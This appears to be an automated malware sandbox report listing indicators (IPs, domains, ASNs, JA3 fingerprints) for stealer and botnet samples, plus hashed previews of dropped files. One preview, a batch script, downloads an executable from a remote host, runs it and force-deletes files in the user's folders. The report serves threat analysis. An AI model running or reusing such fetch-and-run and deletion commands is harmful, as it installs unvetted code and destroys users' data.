                                                                                                                                                                                                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                    file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                        file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                          34.149.100.209file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                    file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                      file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                        WinFIG.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                          WinFIG-2024.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                            SentinelOculus.exeGet hashmaliciousLummaCBrowse

                                                                                                                                                                                                                                              Domains

                                                                                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                              example.orgfile.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              WinFIG.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              WinFIG-2024.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              SentinelOculus.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 93.184.215.14
                                                                                                                                                                                                                                              twitter.comfile.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 104.244.42.1
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 104.244.42.1
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 104.244.42.1
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 104.244.42.129
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 104.244.42.65
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 104.244.42.129
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 104.244.42.193
                                                                                                                                                                                                                                              WinFIG.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 104.244.42.129
                                                                                                                                                                                                                                              WinFIG-2024.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 104.244.42.1
                                                                                                                                                                                                                                              star-mini.c10r.facebook.comfile.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 157.240.0.35
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 157.240.0.35
                                                                                                                                                                                                                                              https://cambridge.pl/testy-poziomujaceGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                              • 157.240.251.35
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 157.240.252.35
                                                                                                                                                                                                                                              https://app.creatopy.com/share/d/qvnqyxdo8o7mGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                              • 157.240.0.35
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 157.240.0.35
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 157.240.0.35
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 157.240.0.35
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 157.240.252.35
                                                                                                                                                                                                                                              WinFIG.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 157.240.253.35

                                                                                                                                                                                                                                              ASNs

                                                                                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                              GOOGLE-AS-APGoogleAsiaPacificPteLtdSGfile.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              WinFIG.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              WinFIG-2024.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              SentinelOculus.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 34.117.188.166
                                                                                                                                                                                                                                              OVHFRbin.i686.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                              • 51.254.195.232
                                                                                                                                                                                                                                              bin.armv7l.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                                              • 158.69.255.9
                                                                                                                                                                                                                                              IWnUKXop2x.elfGet hashmaliciousMirai, OkiruBrowse
                                                                                                                                                                                                                                              • 91.134.178.248
                                                                                                                                                                                                                                              sims-4-updater-v1.3.4.exeGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                              • 164.132.58.105
                                                                                                                                                                                                                                              RFQ_PO-GGA7765JK09_MATERIALS_SPECIFICATIONS.scr.exeGet hashmaliciousPureLog Stealer, RedLineBrowse
                                                                                                                                                                                                                                              • 51.195.88.199
                                                                                                                                                                                                                                              file.exeGet hashmaliciousXmrigBrowse
                                                                                                                                                                                                                                              • 54.37.232.103
                                                                                                                                                                                                                                              la.bot.m68k.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                                              • 178.33.153.109
                                                                                                                                                                                                                                              yakuza.sparc.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                              • 149.202.143.55
                                                                                                                                                                                                                                              sparc.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                              • 51.195.175.186
                                                                                                                                                                                                                                              arm7.elfGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                              • 151.80.121.75
                                                                                                                                                                                                                                              ATGS-MMD-ASUSfile.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              bin.i686.elfGet hashmaliciousGafgyt, MiraiBrowse
                                                                                                                                                                                                                                              • 34.62.93.218
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              https://app.creatopy.com/share/d/qvnqyxdo8o7mGet hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                              • 34.128.128.0
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              bin.armv7l.elfGet hashmaliciousMiraiBrowse
                                                                                                                                                                                                                                              • 57.41.103.191
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              http://aaa.smartrakeback.com/WTB6STlIVERGcUZWU2d6eFpNZjlrWlMxbGVCUGVXcFdJanBKcTdBSkNtNGt1L25xZUNaS0Y2cTRNSzhZenV4YnZuTkpmVGcrUzhYNG1JUUtvYXgvb0E9PQ__Get hashmaliciousUnknownBrowse
                                                                                                                                                                                                                                              • 57.129.50.28
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 34.160.144.191

                                                                                                                                                                                                                                              JA3 Fingerprints

                                                                                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                              fb0aa01abe9d8e4037eb3473ca6e2dcafile.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123
                                                                                                                                                                                                                                              file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123
                                                                                                                                                                                                                                              file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123
                                                                                                                                                                                                                                              WinFIG.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123
                                                                                                                                                                                                                                              WinFIG-2024.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123
                                                                                                                                                                                                                                              SentinelOculus.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                              • 52.222.236.120
                                                                                                                                                                                                                                              • 35.244.181.201
                                                                                                                                                                                                                                              • 34.149.100.209
                                                                                                                                                                                                                                              • 34.160.144.191
                                                                                                                                                                                                                                              • 34.120.208.123

                                                                                                                                                                                                                                              Dropped Files

                                                                                                                                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                                file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                                    file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                                                                                                                                        file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                                          file.exeGet hashmaliciousCredential FlusherBrowse
                                                                                                                                                                                                                                                            WinFIG.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                              WinFIG-2024.exeGet hashmaliciousLummaCBrowse
                                                                                                                                                                                                                                                                SentinelOculus.exeGet hashmaliciousLummaCBrowse

                                                                                                                                                                                                                                                                  Created / dropped Files

                                                                                                                                                                                                                                                                  C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_6bf93a9b-760a-4f47-9421-783bc158774c.json (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7975
                                                                                                                                                                                                                                                                  Entropy (8bit):5.176813270408501
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iKMiTvYcbhbVbTbfbRbObtbyEl7ngrZJA6wnSrDtTkd/S4f:iPFcNhnzFSJAr0jnSrDhkd/N
                                                                                                                                                                                                                                                                  MD5:60B0DF6C24EF5A261919914E072CE539
                                                                                                                                                                                                                                                                  SHA1:301BB3A8C42C4960EBE0D745D97608B07034B3D8
                                                                                                                                                                                                                                                                  SHA-256:723F0073016AD0315E8F34BB6F0C7CD71F1DE9512C21A1A0367D2538B84C4A90
                                                                                                                                                                                                                                                                  SHA-512:E28135969C35442583E9B7AA13C662457229994A08D2AB39585CBF5A046043976EB0CBACE79E30574B46C3519D41A3B55FE227A68C3D07DA323FAF9F6F1CDDA4
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"type":"uninstall","id":"6bf93a9b-760a-4f47-9421-783bc158774c","creationDate":"2024-10-21T11:26:16.276Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"1fca7bd2-7b44-4c45-b0ea-e0486850ce95","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

                                                                                                                                                                                                                                                                  C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\uninstall_ping_308046B0AF4A39CB_6bf93a9b-760a-4f47-9421-783bc158774c.json.tmp

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:JSON data
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):7975
                                                                                                                                                                                                                                                                  Entropy (8bit):5.176813270408501
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:192:iKMiTvYcbhbVbTbfbRbObtbyEl7ngrZJA6wnSrDtTkd/S4f:iPFcNhnzFSJAr0jnSrDhkd/N
                                                                                                                                                                                                                                                                  MD5:60B0DF6C24EF5A261919914E072CE539
                                                                                                                                                                                                                                                                  SHA1:301BB3A8C42C4960EBE0D745D97608B07034B3D8
                                                                                                                                                                                                                                                                  SHA-256:723F0073016AD0315E8F34BB6F0C7CD71F1DE9512C21A1A0367D2538B84C4A90
                                                                                                                                                                                                                                                                  SHA-512:E28135969C35442583E9B7AA13C662457229994A08D2AB39585CBF5A046043976EB0CBACE79E30574B46C3519D41A3B55FE227A68C3D07DA323FAF9F6F1CDDA4
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:{"type":"uninstall","id":"6bf93a9b-760a-4f47-9421-783bc158774c","creationDate":"2024-10-21T11:26:16.276Z","version":4,"application":{"architecture":"x86-64","buildId":"20230927232528","name":"Firefox","version":"118.0.1","displayVersion":"118.0.1","vendor":"Mozilla","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","channel":"release"},"payload":{"otherInstalls":0},"clientId":"1fca7bd2-7b44-4c45-b0ea-e0486850ce95","environment":{"build":{"applicationId":"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}","applicationName":"Firefox","architecture":"x86-64","buildId":"20230927232528","version":"118.0.1","vendor":"Mozilla","displayVersion":"118.0.1","platformVersion":"118.0.1","xpcomAbi":"x86_64-msvc","updaterAvailable":true},"partner":{"distributionId":null,"distributionVersion":null,"partnerId":null,"distributor":null,"distributorChannel":null,"partnerNames":[]},"system":{"memoryMB":8191,"virtualMaxMB":134217728,"cpu":{"isWindowsSMode":false,"count":4,"cores":2,"vendor":"GenuineIntel","name":"I

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\24C7.tmp\my_cleaner2.bat

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Users\user\Desktop\SecuriteInfo.com.W32.PossibleThreat.17916.5400.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):1798
                                                                                                                                                                                                                                                                  Entropy (8bit):5.185863168097955
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:24:wfGDIiTakWY+yMGfIhJBSz2UEkYlZHoarReP6xuxywNqwnZX0797sTtUZYj:wdiTaBGfIzBGEbNoarkP6EYKmR7et8g
                                                                                                                                                                                                                                                                  MD5:BC58658DB9B20C8AD800659507E403F8
                                                                                                                                                                                                                                                                  SHA1:4681963CCD34C4885036AF6912E6BED0DD1EAA58
                                                                                                                                                                                                                                                                  SHA-256:BA8C92287973619B4BD5E2B138F9825E2709139BEA3070BDB38851A8045AEBBD
                                                                                                                                                                                                                                                                  SHA-512:D730BDFF4D552EFCC535E82EECB5884F64F131AF241F44250B4A95A288F07BB812FC0EED1D9AA5605993B99371878C5113C38C913F3E73D397FFB3D3CE52E16A
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:@shift /0..echo off..echo start %0%..cls..echo ...echo ...echo . Travail en cours, Merci de patienter.....echo .....mkdir %HOMEPATH%\TMP 2> nul..set dir=%HOMEPATH%\TMP\cr-%date:~6,4%%date:~3,2%%date:~0,2%-%time:~1,1%%time:~3,2%%time:~6,2%..set dir2=%dir%....set ariac_src=%CD%\ariac.exe..set ariac=%dir%\ariac.exe..set html_file=result.html..set clean_src=http://upjv.info/clean/clean2.exe..set zip_cmd=clean\Zip\App\7-Zip\7z.exe..echo ... ..mkdir %dir% > nul......echo ...cd %dir%..copy /y %ariac_src% %ariac% 2> nul > nul..del /f /q %ariac_src% 2> nul > nul....REM WGET '%clean_src%' > '%dir%\clean.exe'..%ariac% -l log.txt -o clean.exe %clean_src% > null..echo ...call clean.exe -y > nul..echo ...call %dir%\clean\deleteWord.bat %dir% > %dir%\clean\deleteWord.log 2> %dir%\clean\deleteWord.err..echo .....REM Nettoyage des cleans : ..del /f /q %HOMEPATH%\Desktop\*clean*.exe 2> nul > nul..del /f /q %HOMEPATH%\Documents\*clean*.exe 2> nul > nul..del /f /q %HOMEPATH%\Downloads\*clean*.exe 2>

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):32768
                                                                                                                                                                                                                                                                  Entropy (8bit):0.4593089050301797
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
                                                                                                                                                                                                                                                                  MD5:D910AD167F0217587501FDCDB33CC544
                                                                                                                                                                                                                                                                  SHA1:2F57441CEFDC781011B53C1C5D29AC54835AFC1D
                                                                                                                                                                                                                                                                  SHA-256:E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
                                                                                                                                                                                                                                                                  SHA-512:F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\tmpaddon

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):453023
                                                                                                                                                                                                                                                                  Entropy (8bit):7.997718157581587
                                                                                                                                                                                                                                                                  Encrypted:true
                                                                                                                                                                                                                                                                  SSDEEP:12288:tESTeqTI2r4ZbCgUKWKNeRcPMb6qlV7hVZe3:tEsed2Xh9/bdzZe3
                                                                                                                                                                                                                                                                  MD5:85430BAED3398695717B0263807CF97C
                                                                                                                                                                                                                                                                  SHA1:FFFBEE923CEA216F50FCE5D54219A188A5100F41
                                                                                                                                                                                                                                                                  SHA-256:A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
                                                                                                                                                                                                                                                                  SHA-512:06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
                                                                                                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                                                                                                  Preview:PK.........bN...R..........gmpopenh264.dll..|.E.0.=..I.....1....4f1q.`.........q.....'+....h*m{.z..o_.{w........$..($A!...|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`...*.........ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\......*.....-i.K.I..4.a..6..*...Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N.*.}..).3.N%.!..q*........^I.m..~...6.#.~+.....A...I]r...x..*.<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..|c.1.cUkM.&.Qn]..a]t.h..*.!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

                                                                                                                                                                                                                                                                  C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json (copy)

                                                                                                                                                                                                                                                                  Download File
                                                                                                                                                                                                                                                                  Process:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  File Type:ASCII text, with very long lines (5740), with no line terminators
                                                                                                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                                                                                                  Size (bytes):5740
                                                                                                                                                                                                                                                                  Entropy (8bit):5.015092418135787
                                                                                                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                                                                                                  SSDEEP:96:8S+OVPUFRbOdwNIOdYpjvY1Q6L+b8qJKXki1H7OsH9KKH9iSiPzqNkmaLP:8S+OpU3OdwiOdkjUL+b8qcXl1H7OsH9Q
                                                                                                                                                                                                                                                                  MD5:0E22764F4E1EDCCD5A458170BE7E102D
